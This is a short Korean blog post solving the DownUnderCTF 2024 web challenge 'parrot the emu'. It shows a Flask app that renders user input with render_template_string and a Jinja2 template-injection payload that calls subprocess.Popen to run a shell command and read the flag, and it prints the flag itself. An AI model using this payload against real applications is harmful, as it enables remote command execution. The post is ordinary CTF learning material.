CTF/DownUnderCTF2024

parrot the emu

mitdog 2024. 7. 7. 18:32


파일을 받아보면.


서버 폴더가 이렇게 있다고 한다.
안에 flag가 있다는 뜻.


사이트는 이렇게 생겼다.

app.py 코드를 보면

from flask import Flask, render_template, request, render_template_string  

app = Flask(__name__)  

@app.route('/', methods=['GET', 'POST'])  
def vulnerable():  
    chat_log = []  

    if request.method == 'POST':  
        user_input = request.form.get('user_input')  
        try:  
            result = render_template_string(user_input)  
        except Exception as e:  
            result = str(e)  

        chat_log.append(('User', user_input))  
        chat_log.append(('Emu', result))  

    return render_template('index.html', chat_log=chat_log)  

if __name__ == '__main__':  
    app.run(debug=True, port=80)

핵심은 render_template_string인데... 해당 함수를 처음본다.
그래서 검색했는데

  1. https://velog.io/@hunjison/Flask-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90
  2. https://www.igloo.co.kr/security-information/%EC%9B%B9-%ED%85%9C%ED%94%8C%EB%A6%BF-%EC%97%94%EC%A7%84-%EA%B8%B0%EB%B0%98%EC%9D%98-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D/

이 두개에서 {{ }} 관련한 취약점(Flask 프레임워크 관련)이 존재한다는 사실을 알 수 있었다.
공격 방식 또한 알 수 있었는데

{{"".__class__.__base__.__subclasses__()}}

로 서브 클래스의 목록을 출력하여

subprocess.Popen 클래스가 몇 번째인지 찾는다.


213번째임을 알 수 있다.

subprocess.Popen 함수는 첫 번째 참고자료에서 알 수 있었다.

{{ [].__class__.__mro__[-1].__subclasses__()[213]('cat flag',stdout=-1,stderr=-1,shell=True).communicate() }}

1번째 참고자료에서 작성된 페이로드를 약간만 수정하여 사용한 것이다.


그럼 cat flag 명령을 실행시키고 출력해준다.
flag는 위 사진에서 나온 것과 같다.

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

'CTF > DownUnderCTF2024' 카테고리의 다른 글

tldr please summarise  (0) 2024.07.07
Intercepted Transmissions  (0) 2024.07.07